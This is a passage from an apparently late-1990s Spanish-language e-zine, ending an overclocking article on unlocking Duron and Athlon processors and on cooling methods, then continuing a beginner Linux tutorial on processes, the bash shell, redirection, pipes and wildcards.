de regulador de voltaje, pudiendo asi cambiar el multiplicador, el vcore...
La manera de sujetar estos nuevos circuitos a los Athlones, vino de la mano
de la propia AMD, ya que si se quita la carcasa de plastico que cubre a
los Athlones de Slot 1, se puede ver en la parte superior una especie de
conector vacio donde colocar estos ingenios desbloqueadores.
Estas peque~as tarjetitas tienen diversos nombres y se pueden encontrar en
muchos sitio de la red a un precio que ronda los 40$. Algunos de los
nombres que han adoptado estas tarjetas son, Golden Finger, FreeSpeed, ....
- Durones: O tambien conocidos como los machaca-celerones. La respuesta
de AMD cubriendo las necesidades de los overclockers, un micro que salio
para pulir en el mercado de los equipos baratos y de gama baja. La
competencia directa de los celerones de intel fue este magnifico micro que
destaco por ser el que revivio las esperanzas de muchos
overclockers al alcanzar velocidades enormes con un micro gama baja.
Los durones son micros sencillos de desbloquear, pero hay que echarle ...
'pantalones' al asunto, tan solo necesitamos una mini taladradora y un
lapiz de punta de dureza media.
Si vemos el micro desde arriba, veremos unos minusculos puentes, unos
haciendo contacto y otros no, serigrafiados con las indicaciones L1, L2,
... L7 Los que nos interesan son los L6, 3, 4 y 7. Modificando estas
peque~as uniones podremos seleccionar una nueva frecuencia y un nuevo
voltaje.
Podemos romper los puentecillos con la taladradora de antes, y unirlos
simplemente dibujandolos con el lapiz de dureza media. Si, el grafito es
conductor :D La solucion ideal para unir los puentes tambien puede ser usar
unos rotuladores especiales, que se llaman rotuladores conductores, y que
como siempre, se pueden adquirir en tiendas de electronica, pero si no te
quieres gastar mas que la paciencia, el lapicero normal es una excelente
solucion.
Existen tablas con las posiciones correctas de estos puentecillos por
muchas paginas de Inet, mira abajo en la bibliografia.
Estos ejemplos de overclocking en micros un poco mas nuevos no son mas que
meras ideas de los que puede ser el overclocking en micros actuales. Si de
veras te interesa forzar tu micro pasate por las paginas que decimos al
final del articulo, seran una buena guia para profundizar en esto.
4 - Tecnicas de refrigeracion
-----------------------------
Silicona termoconductora
Ventilacion
Agua
Trucos
- Termometro con sonda
- MBM
Tan importante es saber como forzar un micro, como saber como refrigerarlo.
El calor es el peor amigo de los chips, placas y circuitos; y por esto se han
desarrollado muchisimas tecnicas para mantener nuestros equipos lo mas frios
posible.
.Silicona termoconductora
La silicona termoconductora es una especie de pasta blanca que se debe
aplicar en una capa muy fina entre el disipador y el micro, uniformemente y
sin que queden grumos. No importa si manchamos los contactos del micro con la
silicona, ya que no es conductora de electricidad.
Su finalidad es termoconductora, o sea, favorece el paso de calor desde el
micro hacia el disipador, con lo que conseguimos unos cuantos grados menos en
nuestro micro.
Esta pasta es muy barata y se puede conseguir en peque~os botes de un par de
centilitros en cualquier tienda de electronica.
Es muy importante que la capa a aplicar sea muy fina, ya que si nos pasamos,
podemos provocar el efecto opuesto al deseado y evitar el intercambio de
calor.
Al ir a aplicar la silicona termoconductora, podemos encontrarnos con una
especie de pegatina extra~a entre el disipador y el micro. Esto puede ser
varias cosas, desde una pegatina normal y corriente que ahi no hace otra cosa
que estorbar, hasta una cinta de pegamento que ejerce labores de
termoconduccion. Sea lo que sea, lo mejor es quitarlo sin miramientos y
aplicar la silicona, ya que esta nos ofrecera mucho mejores resultados que
cualquier medida estandard.
Tambien es bueno lijar un poco la parte del disipador donde vamos a aplicar
la silicona, para dejarlo totalmente liso y sin ninguna deformidad, y que asi
se adapte perfectamente al micro.
.Ventilacion:
Las 'tecnica' de refrigeracion mas comun consiste simplemente en abrir la
caja xD, con esta chorrada podemos bajar la temperatura del micro en unos
cuantos grados, pero con la molestia del ruido que producen los ventiladores,
asi que descartemos esto ....
Hablando en serio, lo mas normal que se suele hacer cuando se fuerza un micro
es cambiar el ventilador del micro y a~adir nuevos ventiladores por el
interior de la CPU.
Cambiar el ventilador del micro es bien sencillo, simplemente se separa el
disipador-ventilador del micro y se cambia por uno nuevo, mas pontente, menos
ruidoso ... en definitiva, mejor. Una marca excelente de ventiladores muy muy
chulos es SUNON (www.sunon.com.tw)
Dependiendo del tipo de micro que tengamos y de su socket, deberemos escoger
el tipo de disipador-ventilador necesario, llegando incluso a necesitar dos
ventiladores para algunos micros en slot, como el K7.
Pero no solo debemos poner un ventilador potente en el micro, si no tambien
en el interior de la CPU. Lo mas comun es tener el ventilador en el micro,
otro en la fuente de alimentacion extrayendo aire y otro ventilador potente
en el frontal de la caja, metiendo aire.
Para ver bien como debe ser el flujo de corriente del aire en el interior de
la caja, a ver si me sale el ASCII ... se supone que es una torre vista de
lado, con el frontal hacia la derecha...
---------------------------------
SALE <-- |## <- \ |
AIRE <-- | + <- \ -------- |
|## \ \ 5 1/4 |
| \ ^ \ -------- |
|-----+ \ \ 5 1/4 |
SALE <-- | + <- \ -------- | PARTE
|AC/DC+ \ | FRONTAL
AIRE <-- | + <--- \ ----- | DE LA
|-----+ \ \ 3 1/2 | CAJA
| \ ^ \ ----- |
| +----------\ \ 3 1/2 |
'| | \ ^ \ ----- |
'| | PLACA \ \ |
'| | BASE \ ^ \ |
'| | \ \ |
| | --- |\ ^ \ ##|
| | ----- | \ <---- + | <--- ENTRA
| | ----- | <------- + | <--- AIRE
| +--------------+ ##|
---------------------------------
@ @ @ @
Para ahorrar el ASCII se podria haber dicho que el flujo de aire entra
delante-abajo y sale por atras-arriba, de manera que segun sube va
refrigerando las tarjetas instaladas, discos duros ...
Unas notas aclaratorias ... donde pone AC/DC se refiere a la fuente, y es que
esta tiene su propio ventilador que se ocupa de sacar aire por atras.
Desgraciadamente las fuentes que se montan en equipos estandar distan mucho
de ser buenas, y sus ventiladores no son muy potentes, por lo que a veces es
necesario poner mas ventiladores encima de la fuente, extrayendo aire.
Es muy importante que los flujos de entrada y salida de aire sean
equivalentes, o sea, si tenemos un ventilador metiendo aire, lo mejor es que
tengamos otro sacandolo, y si tenemos dos metiendo, tener otros dos
sacando...
Estos ventiladores que se montan en las cajas deben ser de 8 cm. y por
supuesto, de 12 voltios.
Tambien cabria la posibilidad de tener otros ventiladores en otras posiciones
mas concretas, como en la tarjeta grafica, en los discos duros, ...
Por poner un ejemplo practico, yo tengo una caja con 5 ventiladores, dos en
el micro, uno en la tarj. grafica, uno en el frontal introduciendo aire y el
de la fuente extrayendolo.
.Agua
Otro metodo muy conocido entre los overclockers es la refrigeracion por agua.
Puede parecer una salvajada pero es algo bastante usado por los que 'ya lo
han probado todo'.
El truco esta en refrigerar el procesador haciendo pasar por su lado un
circuito cerrado de agua. Este circuito debe tener una bomba que mueva el
agua, puede ser una bomba de acuario o similar. Tambien debe tener una parte
del mismo en el que se enfrie el agua, esta parte puede ser el
sistema de aire acondicionado de un coche, suelen ser perfectos para
esto. La otra parte importante del sistema de refrigeracion por agua es
el intercambiador de calor, que es la parte que esta pegada al micro, esta
debe estar formada por una especie de 'caja' metalica perfectamente
acoplada al micro, y por donde pase todo el agua fria.
El problema de la refrigeracion por agua viene con la condensacion, una sola
gota de agua que caiga sobre nuestra placa puede provocar efectos terribles,
por lo que se deben mirar con lupa las juntas entre los tubos que transportan
el agua y los intercambiadores, bomba ... ya que es en estos puntos donde
puede haber escapes de agua o condensacion.
Es evidente que este metodo solo es recomendado para los overclockers que ya
llevan un tiempo jugando con sus maquinas ... o bah!, si quieres experimentar
con algun equipo viejo, esto es ideal :D
.Trucos. Termometro con sonda
Un truco muy chulo para conocer la temperatura del interior de la caja
consiste en adquirir uno de estos termometros con sonda, se venden como
termometros para el coche a una cantidad muy peque~a y son realmente utiles
para estas cosas.
.Trucos. MBM
El MotherBoard Monitor es un programilla muy chulo que usa los sensores de
temperatura que suelen tener las placas modernas, para controlar la
temperatura de micro, placa ... Tambien nos dice si los ventiladores estan
activos, el voltaje de todos los elementos, y muchos otros datos
interesantes. Esta es una herramienta indispensable para el overclocker.
Puedes bajarla de: http://mbm.livewiredev.com/
5 - Overcloking, ¿si o no?
- Cuales son las ventajas de overclockear?
Como ya dijimos, overclockear es aumentar la frecuencia de trabajo de un
componente electronico, en este caso, el procesador, usar una CPU con una
frecuencia de trabajo mas alta significa mejor rendimiento. Si sacas una
frecuencia de 450Mhz de un procesador que por defecto es de 300Mhz, el
rendimiento de este sera igual al rendimiento de un procesador del mismo tipo
que por defecto de fabrica es de 450Mhz. El precio de esta operacion en casi
todos los casos esta solamente limitada a la compra de sistemas de
enfriamientos de tama~o apropiado, asi que gastas mucho menos plata que si
compreras un procesador de la velocidad alcanzada mediante el overclockeo.
El overclockear es completamente legal porque al comprar un procesador eres
su due~o y puedes hacer con el lo que quieras, pero si le cambias los
parametros por defecto, automaticamente pierdes la garantia (si es que la
tenias).
Antes de overclockear, debes tener en cuenta los pros y los contras. Si,
overclockear aumenta el rendimiento de tu sistema, pero, tambien hay riesgos.
Si funciona, tu sistema estara trabajando horas extras, se calentara mas, y
esto no es bueno para ningun circuito electronico. Si no funciona...
Cuelgues, errores, fallos repentinos durante el arranque o programas de
intenso consumo de CPU colgaran tu ordenador... En algunos casos habra que
trabajarse durante muchas horas el asunto para obtener resultados positivos
sin hacer peligrar la estabilidad del sistema... Y tambien podrias freir tu
CPU; esto no es algo corriente, y solo ocurrira si eres demasiado ambicioso a
la hora de exigir velocidad al overclockear.
Otra cosa... la otra vez un amigo me pidio que le overclokeara su amdk6 de
333 Mhz que se compro en el persa. En su caso, se podia cambiar todo desde la
BIOS, y pense que unos 400 Mhz no le vendrian mal. Pero... al reiniciarlo, su
güindous 98 no cargo, se colgaba y todo eso. Mmm... pense... que onda? Lo
puse en 375Mhz... Cargaba güindows, pero al cargar otro programa se colgaba.
Ahi recien le pregunte a mi amigo donde se lo compro. Lleno de sospechas abro
el computador y saco el ventilador... el procesador era originalmente de 300
Mhz. Los muy canallas del persa lo overclockearon para vender la mula. Es
mas, supuestamente era de 32 megas en ram... pero realmente tenia 28MB.
Asi que, como sugerencia, si sus computadores son armados revisenle todo.
Otra cosa, a los chatos que venden la mula en el persa les pido que no se
vayan en la vola para ganar mas plata.
6 - Recursos
Aca te presentamos algunas webs interesantes que puedes visitar si quieres
saber mas sobre el overclock, o si te interesa conocer los detalles concretos
en el overclock de los micros que comentamos en este articulo.
http://www.rittercorp.cl
http://www.occomp.cl
http://www.overclockeadores.com.ar
http://www.overclockers.com/
http://www.arrakis.es/~ubrike/
http://www.ngasis.com/
http://www.combustion.cjb.net/
http://www.overclockers.cjb.net/
http://www.agaweb.com/coolcpu/
http://www.enxebre.es/hardware/
General Failure
Mr.Nexus
[Nex: Este articulo tuvo historia, ... quiero pedir disculpas publicas a
General Failure per tenerlo esperando meses y meses por mi parte del
articulo. Es lo que pasa por escribir articulos con irresponsables como yo,
:) ]
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 11. Descubriendo Linux Red Hat 5.0 ::--..
by Mr. Nuk3m
[Nex: Tercera entrega del que sin duda es el articulo mas enooorme que ha
salido publicado en este zine. ]
5. Programas y Procesos
5.1 Ejecucion en primer plano y en "background"
5.2 Demonios
6. La Interaccion Con El Sistema. Shell y Comandos
6.1 La Shell
6.1.1 Funcionamiento de la shell
6.2 Comandos
6.2.1 Comandos simples
6.2.2 Separador de comandos
6.3 La Entrada Estandar y La Salida Estandar
6.3.1 Redireccionando la salida
6.3.2 Redireccionando la conexion de errores estandar
6.3.3 Redireccionando la entrada
6.4 Ca~erias
6.5 Generacion De Nombres De Archivos
7. Comandos Y Utilidades
7.1 Movimiento En El Sistema De Archivos
7.2 Listado De Archivos
7.2.1 Moviendo y copiando archivos
7.3 Manipulando Archivos
7.3.1 Moviendo y copiando archivos
7.3.2 Realizando links
7.3.3 Eliminando archivos
7.4 Manipulando Directorios
7.4.1 Creando directorios
7.4.2 Eliminando directorios
7.5 Busqueda De Archivos
7.5.1 Ejemplos del uso de find
7.6 Cambiando Permisos, Grupos y Due~os
7.6.1 Averiguando los derechos de acceso de un archivo
7.6.2 Cambiando los permisos
7.6.3 Cambiando el due~o y el grupo de los archivos
CAPITULO 5
PROGRAMAS Y PROCESOS
El concepto central mas importante en cualquier sistema multitarea es el de
proceso. Informalmente, un proceso es una abstraccion de un programa en
ejecucion. Un programa es una secuencia de instrucciones que la computadora
ejecuta con el objetivo de obtener un cierto resultado; es lo que crea el
programador. Cuando un programa no esta siendo ejecutado se encuentra en un
archivo del disco. Para poder ejecutar el programa, una copia de las
instrucciones debe ser cargada en memoria. Cuando un programa se esta
ejecutando, se lo llama proceso. Es muy importante conocer las
caracteristicas de los procesos para comprender el funcionamiento de Linux y
aprovechar la potencia de su modelo multiprogramado.
Todas las computadoras modernas pueden hacer varias cosas al mismo tiempo
para aprovechar los recursos mas eficientemente. Por ejemplo: se puede estar
ejecutando un programa mientras se leen datos de un disco o se imprime un
documento. En un sistema multiprogramado, ademas, se pueden estar ejecutando
varios procesos al mismo tiempo (posiblemente de distintos usuarios). Esto
es posible gracias al concepto de multiprogramacion. En un sistema
multiprogramado, cada proceso obtiene una tajada del tiempo del procesador.
Estrictamente hablando, en cada instante de tiempo el procesador ejecuta un
solo proceso, pero en un periodo determinado, digamos 1 segundo, puede
trabajar sobre muchos procesos dando a los usuarios la impresion de la
existencia de paralelismo. En realidad, como resultado de lo que realiza
internamente obtenemos un "pseudo-paralelismo" que hace que los procesos se
puedan ejecutar concurrentemente compartiendo el tiempo del procesador. Asi
el S.O. hace que la operacion de la computadora resulte mas productiva.
Linux es un sistema multitarea-multiusuario, lo que quiere decir que cada
usuario puede estar ejecutando varios procesos al mismo tiempo. El S.O.,
atendera las necesidades de todos los usuarios de una manera justa,
ejecutando concurrentemente todos los procesos.
Cada vez que un usuario ejecuta un programa se inicia un proceso en el
sistema. Cada proceso tiene un PID (Process ID) unico, que es el numero que
sirve para identificarlo. Alguno se preguntara por que no es el nombre del
programa el que identifica al proceso ?. Bueno, esto trae muchas
desventajas, ya que por ejemplo, pueden haber varios procesos ejecutandose
como parte del mismo programa, y seria imposible identificarlos. Sin
embargo, cada proceso guarda como atributo el comando que se ingreso para
iniciarlo.
5.1 EJECUCION EN PRIMER PLANO Y EN "BACKGROUND"
Un proceso puede ejecutarse en primer plano o en "background". Solo puede
existir un proceso ejecutandose en primer plano y es el proceso con el cual
podemos interactuar. La entrada del proceso se toma del teclado y la salida
se muestra por pantalla. Los procesos que se ejecutan en "background" no
reciben entradas del teclado ni de ninguna terminal, y en general se
ejecutan "silenciosamente" sin necesidad de interaccion.
Todos los S.O. proveen algun tipo de mecanismo para ejecutar procesos en
primer plano, pero, sin embargo no todos proveen la posibilidad de ejecutar
procesos en "background". La importancia de los procesos en "background" se
puede analizar considerando sus varias utilidades. Por ejemplo: existen
procesos que tardan mucho tiempo para completarse y no requieren la
interaccion del usuario. Compilar programas o comprimir un archivo muy
grande son ejemplos de este tipo de tareas. Estas conviene realizarlas en
"background", ya que mientras varios procesos se estan ejecutando en
"background" estamos libres para ejecutar cualquier otro tipo de tarea.
Los procesos pueden estar en varios estados, los cuales pueden ser:
* Ejecutando: El proceso ejecuta ya sea en primer plano o en "background"
* Suspendido: Un proceso suspendido es un proceso que esta temporariamente
detenido. Luego de suspender un proceso es posible reanudarlo ya sea en
primer plano o en "background". De esta manera el proceso continua en el
punto en el cual habia sido suspendido.
* Interrumpido: A diferencia de un proceso suspendido, un proceso es
interrumpido por algun evento y no puede ser reanudado. Por lo que es
inmediatamente terminado.
5.2 DEMONIOS
Los demonios son procesos que se ejecutan en "background". Se los puede
pensar como procesos que se mantiene "dormidos" a la espera de eventos que
los despierten para llevar a cabo una tarea determinada. Cuando un evento
despierta un demonio, este se ocupa de ejecutar lo pertinente y cuando
completa el tratamiento del evento vuelve a dormirse y asi sucesivamente.
Los tipos de eventos que cada demonio espera y las tareas que realiza en
respuesta a los mismos dependen de la naturaleza del demonio en cuestion.
Las tareas mas comunes para las que se utilizan demonios son: demonios que
controlan dispositivos (impresoras(lpd), adaptadores de red (pppd), etc.),
control de los protocolos de red (tcp/ip (tcpd), etc.), agentes de
transferencia de correo electronico (sendmail), etc.
CAPITULO 6
LA INTERACCION CON EL SISTEMA. SHELL Y COMANDOS
6.1 LA SHELL
Todo S.O. debe proveer un mecanismo para que el/los usuarios puedan
comunicarle lo que quieren realizar y para poder interactuar con el. Linux
posee una interfase de comunicacion llamada "shell" y es el medio mediante
el cual el usuario puede comunicarle comandos al sistema y recibir la salida
de los procesos con los que interactua.
Basicamente, la shell es un proceso mas que obviamente se ejecuta en primer
plano, ya que sino seria imposible interactuar con el mismo. Su
funcionamiento se limita a recibir comandos del usuario, interpretarlos y
ejecutar las tareas necesarias en respuesta a los mismos. El nombre tecnico
de la shell puede ser "interprete de comandos". Su funcion se puede comparar
a la del programa "comand.com" en MS-DOS que esencialmente realiza las
mismas tareas.
En los sistemas UNIX cada usuario puede elegir que shell quiere utilizar
para comunicarse con el sistema. Linux tiene varias shells las cuales pueden
ser elegidas por el usuario. Inclusive es posible que el usuario programe y
utilice su propia shell si asi lo desea. Las shells que Linux provee son:
* sh: Shell de Bourne. Es la shell mas utilizada en los sistemas UNIX.
* csh: Shell de C. Es la shell preferida por los programadores. Es
compatible con la shell de Bourne.
* ash: Shell de Ash. Es una version especial reducida. Se utiliza cuando
existe muy poca memoria disponible.
* ksh - pdksh: Shell de Korn. Extension de la shell de Bourne.
* bash: Bourne Again Shell. Es la shell de la FSF (Free Software Fundation).
Amplia las capacidades de la shell de Bourne y es utilizada por
Linux como shell predeterminada.
* zsh: Z Shell. Compatible con la shell de Bourne.
6.1.1 FUNCIONAMIENTO DE LA SHELL
La shell es iniciada inmediatamente cuando un periodo de inicio de sesion es
autenticado exitosamente. El sistema recuerda cual es la shell que utiliza
cada usuario y carga la correspondiente al usuario que inicio la sesion.
Desde este momento, la shell muestra un identificador llamado "prompt" que
significa que esta esperando que el usuario ingrese una orden.
Una vez que se visualiza el prompt, el usuario puede ingresar cualquier
orden, ya sea para que se ejecute en primer plano o en "background". Si el
pedido de ejecucion dado por el comando ingresado especifica que el proceso
se debe ejecutar en "background", el proceso se inicia y se comienza a
ejecutar en "background", por lo que el shell inmediatamente vuelve a
mostrar el prompt y al estado de espera de mas ordenes. Asi es posible
seguir ejecutando ordenes. Si el proceso se debia ejecutar en primer plano,
la shell no retorna el prompt hasta que el proceso ejecutado se termine. Por
lo tanto debemos esperar a que termine el proceso para poder iniciar otro.
6.2 COMANDOS
NOTA: Desde esta seccion en adelante todo lo referente a la shell y sus
comandos estara basado en la shell bash (Bourne Again Shell) que es la
shell predefinida en Linux :)
El uso interactivo tipico de la shell se basa en ingresar comandos simples,
comandos con calificadores, comandos con facilidades de generacion de
nombres de archivos, redireccion de entrada-salida, y comandos combinados
mediante el uso de "ca~erias". Estas tecnicas son poderosas y extremadamente
utiles, pero son solo una parte de las capacidades de la shell.
La shell es, ademas de interprete interactivo de comandos, un interprete de
un lenguaje de programacion de comandos llamado "El lenguaje de programacion
de la shell". Este lenguaje nos permite realizar nos permite realizar
"scripts" que sera posible ejecutar como un programa binario mas, con la
diferencia que lo interpreta la shell linea por linea y ejecuta los comandos
correspondientes. Mas adelante nos ocuparemos de analizar este lenguaje de
programacion en profundidad, ya que es una de las caracteristicas mas
poderosas de la shell y nos sirve para automatizar muchas de las tareas que
tenemos que realizar en el sistema y nos ayuda a ahorrar la cantidad de
comandos que tenemos que tipear.
6.2.1 COMANDOS SIMPLES
Un comando simple es una secuencia de (una o mas) palabras separadas por
espacios o tabuladores. La primer palabra de la secuencia es el nombre del
comando. Las palabras subsiguientes son los argumentos del comando. Los
comandos mas simples son de una sola palabra.
Los comandos mas comunes pueden ser: ls para listar el contenido de un
directorio, ps para ver los procesos que se encuentran creados en el
sistema, reboot para reiniciar el sistema, etc.
ARGUMENTOS
Los comandos, en su forma mas simple, se ejecutan simplemente poniendo el
nombre del archivo correspondiente. Sin embrago, existen comandos que
necesitan argumentos para trabajar. Un ejemplo de esto puede ser el comando
cp que sirve para copiar archivos. Este comando necesita dos argumentos
obligatorios, el/los archivo fuente y el detino de la copia. Por ejemplo:
==> cp /home/juan/cuotas.tex /home/tony/
Los argumentos se utilizan para pasar informacion adicional a los programas
que ejecutamos. En algunos casos son opcionales, en otros obligatorios y
puede ser que la cantidad de argumentos de algunos comandos pueda ser
variable. La gran mayoria de las veces los argumentos seran nombres de
archivos o de directorios, pero esto es dependiente de cada programa.
El nombre del comando y sus argumentos deben ser separados por uno o mas
espacios, sino la shell nos informara del error con un mensaje. Ejemplo:
==> ls/bin
bash: ls/bin: No such file or directory
Otros argumentos son los "modificadores" que son formas de pasar opciones a
los programas y seran tratados a continuacion.
MODIFICADORES
Los comandos, usualmente, sirven para realizar una funcion pero pueden
aceptar varias opciones que especifiquen como se debe realizar esta tarea.
Las opciones que cada comando acepta y la sintaxis con la que se especifica
la opcion dependen exclusivamente del comando en cuestion. Aunque en general
se puede hablar de "modificadores" que son la forma general de ingresar las
opciones a los comandos. Consideremos el siguiente comando:
==> ls -a
Este comando listara el contenido del directorio actual, pero mostrara
ademas los que comienzan con ".", ya que estos son ocultos y al ejecutar ls
no son mostrados. Este comportamiento es especificado por la opcion de
mostrar los archivos ocultos que es seleccionada con el modificador -a
(all).
NOTA: Un modificador muy util es -h que sirve para especificarle a un
comando que nos muestre su sintaxis y las opciones que soporta. Esto
sirve como referencia del funcionamiento del comando. Este modificador se
puede usar con la mayoria de los comandos de Linux. Algunos comandos
soportan --help o -help para la misma funcion.
6.2.2 SEPARADOR DE COMANDOS
Para ingresar varios comandos en una sola linea es necesario separarlos por
";". Por ejemplo:
==> date;df -h
La salida de este comando sera la siguiente:
Thu Apr 15 17:29:15 ART 1999
Filesystem Size Used Avail Capacity Mounted on
/dev/hda3 1.6G 613M 963M 39% /
/dev/hdc1 2.0G 1.9G 138M 93% /akenaton
/dev/hda2 298M 238M 60M 80% /games
/dev/hda1 2.0G 1.5G 546M 73% /nt
La primera linea de la salida es generada por el comando date y muestra la
hora y el dia actual en el sistema. La tabla que es mostrada a continuacion
es generada por el comando df y muestra las capacidades, tama~os utilizados
y disponibles, y puntos de montaje de los distintos sistemas de arhcivos que
se encuentran montados. Notemos que las unidades se muestran en distintos
formatos de acuerdo al valor que tenga cada campo. Esto es causado por la
opcion -h que indica al comando que muestre los valores con unidades
significativas y no en numero de bloques.
6.3 LA ENTRADA ESTANDAR Y LA SALIDA ESTANDAR
Los programas basados en el modelo de entrada/salida por teletipo son
aquellos en los que su salida consiste en lineas de texto ASCII. Estos
programas ofrecen solo una primitiva interfase con el usuario basada en
linea de comandos. Pero justamente por esto, y por la funcionalidad que
provee la shell, es posible interconectar varios programas que realizan
tareas simples para realizar tareas mas complejas. Todos los comandos de
Linux y la mayoria de sus utilidades se encuentran basados en este modelo.
Por esto es importante entender el funcionamiento e interaccion de los
programas, la shell y la entrada/salida para sacar provecho a estas
facilidades.
Cuando un programa, del modelo de teletipo, produce una salida sobre una
terminal el programa, en general, esta realizando operaciones de salida a lo
que se denomina salida estandar (stdout). Asimismo, cuando tipeamos algo en
el teclado de la terminal, un programa lee los caracteres de lo que se llama
entrada estandar (stdin). Para comunicar errores y mensajes de diagnostico,
existe una conexion de salida separada llamada stderr.
La shell, por ejemplo, es un programa que lee caracteres de stdin e
interpreta los mismos como comandos, argumentos, etc. El comando ls envia su
salida (el contenido del directorio de trabajo) a stdout y luego se
visualiza en nuestra pantalla. Este funcionamiento es el predefinido, ya que
la entrada estandar y la salida estandar se encuentran, normalmente,
asociadas a la terminal de la computadora, stdin el teclado y stdout a la
pantalla.
La shell, sin embargo, nos permite reasignar o redireccionar las conexiones
de entrada, salida o la de diagnostico de errores. Esta es una de las
caracteristicas mas poderosas de Linux :)
6.3.1 REDIRECCIONANDO LA SALIDA
Supongamos que ejecutamos el comando ps (process status), el cual nos
reporta del estado de los procesos, que nosotros iniciamos, que se estan
ejecutando en el sistema. La figura 6.1a nos muestra la salida generada por
una ejecucion del comando ps. Asi visualizamos la salida en nuestra
pantalla.
Si nos interesa guardar la salida del comando ps, por ejemplo para
analizarla posteriormente, podemos hacer uso de la redireccion de la salida
que nos brinda la shell. Le indicamos a la shell que queremos redireccionar
la salida con el simbolo ">". Entonces, en nuestro ejemplo, debermos
ejecutar el comando como indica la figura 6.1b. En la misma, observamos que
el comando termina de ejecutarse sin realizar ninguna salida en la pantalla,
pues la salida del comando se envio al archivo "procesos" y fue guardada en
el mismo. Luego mostramos el contenido del archivo procesos, con el comando
cat, y visualizamos la salida que el comando ps realizo al ejecutarse.
NOTA: No es necesario que el archivo sobre el cual escribimos al
redireccionar la salida exista antes de ejecutar el comando ya que la
shell crea el archivo, si es necesario.
REDIRECCION NO-DESTRUCTIVA DE LA SALIDA
Al redireccionar la salida de un comando a un archivo se sobreescriben
completamente los contenidos del mismo. Hay ocasiones en las que no queremos
perder la informacion almacenada en un archivo, sino agregarle datos al
final del mismo. En el ejemplo de la figura 6.1b, los contenidos del archivo
procesos, si existia antes de ejecutarse el comando, son sobreescritos. Para
poder concatenar informacion en un archivo usamos ">>" en vez de ">".
6.3.2 REDIRECCIONANDO LA CONEXION DE ERRORES ESTANDAR
La conexion de errores estandar es la segunda conexion de salida que el S.O.
Linux abre para cada programa. Normalmente es conectada a la terminal, o sea
a nuestra pantalla, y es por eso que cada vez que un programa muestra un
mensaje de error, este es visualizado en ella. Si ejecutamos un comando y
redireccionamos la salida del mismo a un archivo, no estamos cambiando para
nada la conexion de errores estandar de ese comando, por lo que cualquier
mensaje de error que el comando reporte sera visualizado en pantalla. Esto
ocurre porque la conexion de errores estandar no se encuentra
redireccionada. Hay programas que producen una cantidad voluminosa de
salida. En estos casos uno puede querer redireccionar la conexion de errores
estandar a un archivo, para luego examinar los mensajes que el programa
genero. Para redireccionar la conexion de errores estandar se utiliza "2>".
El numero 2 indica el numero de conexion de salida que es justamente la
conexion de errores estandar.
6.3.3 REDIRECCIONANDO LA ENTRADA
Tambien es posible redireccionar la entrada. Ya vimos que uno de los
programas que lee la informacion de la entrada es la shell, los demas
programas que vimos (ls, ps, cat, etc.) producen su salida sin leer de la
entrada estandar. La shell lee los comandos a ejecutar de la entrada
estandar. Como la entrada estandar puede ser redireccionada a un archivo, es
posible que la shell obtenga los comandos a ejecutar desde un archivo. Un
ejemplo de esta situacion se muestra en la figura 6.2. En la misma vemos que
los contenidos del archivo "comandos" son los nombres de dos comandos de
Linux: date y ps. Luego utilizando el simbolo "<" redireccionamos la entrada
del programa bash (Bourne Again Shell) al archivo comandos y los resultados
se muestran en pantalla.
REDIRECCIONANDO LA SALIDA Y LA ENTRADA SIMULTANEAMENTE
Es posible redireccionar, simultaneamente, la entrada estandar y la salida
estandar. Cuando esto sucede, el unico rol que cumple la terminal es
ingresar el comando que vamos a ejecutar, pero luego el programa trabaja sin
tener asociada la entrada ni la salida a la terminal. Salvo que no se
redireccione la conexion de errores estandar porque los mensajes de error
serian visualizados en pantalla. La forma de redireccionar la salida y la
entrada simultaneamente se muestra con un ejemplo en la figura 6.3.
6.4 CA~ERIAS: LA INTERCONEXION ENTRE PROGRAMAS
Las ca~erias (pipes) conectan la salida estandar de un programa con la
entrada estandar de otro programa. Una ca~eria es diferente a la redireccion
de la entrada/salida. Al redireccionar la entrada conectamos la entrada de
un programa a un archivo y al redireccionar la salida conectamos la salida
del programa a un archivo. Una ca~eria coencta la salida de un programa
directamente con la entrada de otro programa. Ver figura 6.4.
Para construir una ca~eria debemos separar los comandos que queremos
conectar con el simbolo "|".
En el ejemplo de la figura 6.5, conectamos dos comandos: ls y wc. El primero
nos lista el contenido de un directorio, en este caso del directorio /bin.
El segundo comando, wc (word count) sirve para contar palabras, lineas y
caracteres, pero al pasarle la opcion -w le estamos diciendo que solo cuente
palabras. El funcionamiento de este pipe es muy simple: El comando ls lee el
contenido del directorio /bin y genera una lista de palabras con los nombres
de los archivos y directorios encontrados. Esta lista, en vez de ser enviada
a la terminal, es redireccionada a la entrada estandar del comando wc que
comienza a contar las palabras y muestra el resultado en la salida estandar
del mismo que es la terminal.
6.5 GENERACION DE NOMBRES DE ARCHIVOS
El S.O. Linux nos permite especificar conjuntos de nombres de archivos
automaticamente utilizando "generacion de nombres de archivos y caracteres
comodines". Cuando ingresamos argumentos a un comando, la shell examina los
mismos con el objeto de detectar el uso de la generacion de nombres de
archivos. El usuario controla la generacion de nombres de archivos
especificando un modelo para los nombres de archivo. La shell compara el
modelo provisto con todos los archivos del directorio de trabajo. Si alguno
de los nombres de archivo responde al modelo, entonces una lista ordenada
alfabeticamente con todos los nombres de archivos que responden al modelo es
enviada al programa. Si ninguno de los nombres de archivo del directorio
actual cumple con el modelo, entonces el modelo (en forma textual) es
enviado al programa como argumento. Un modelo consiste de caracteres
ordinarios y de "metacaracteres" llamados caracteres comodines. Los
caracteres ordinarios son interpretados textualmente; los metacaracteres
tiene un significado propio. Los metacaracteres utilizados para la
generacion de nombres de archivo y sus significados se muestran en la tabla
6.1.
|øøøøøøøøøøøøøø|øøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøø|
| Metacaracter | Significado |
|--------------|----------------------------------------------------------|
| * | Equivale a cualquier cadena de caracteres |
| ? | Equivale a cualquier caracter |
| [ | Comienza una clase de caracteres |
| ] | Termina una clase de caracteres |
| - | Indica un rango de caracteres en una clase de caracteres |
|______________|__________________________________________________________|
Tabla 6.1: Metacaracteres utilizados para generacion de nombres de archivo.
El asterisco y el signo de pregunta son muy faciles de usar. Por ejemplo *.c
equivale a todos los archivos que tienen como sufijo .c como pueden ser:
prog.c, ab.c, Main.c; los siguientes nombres no satisfacen el modelo
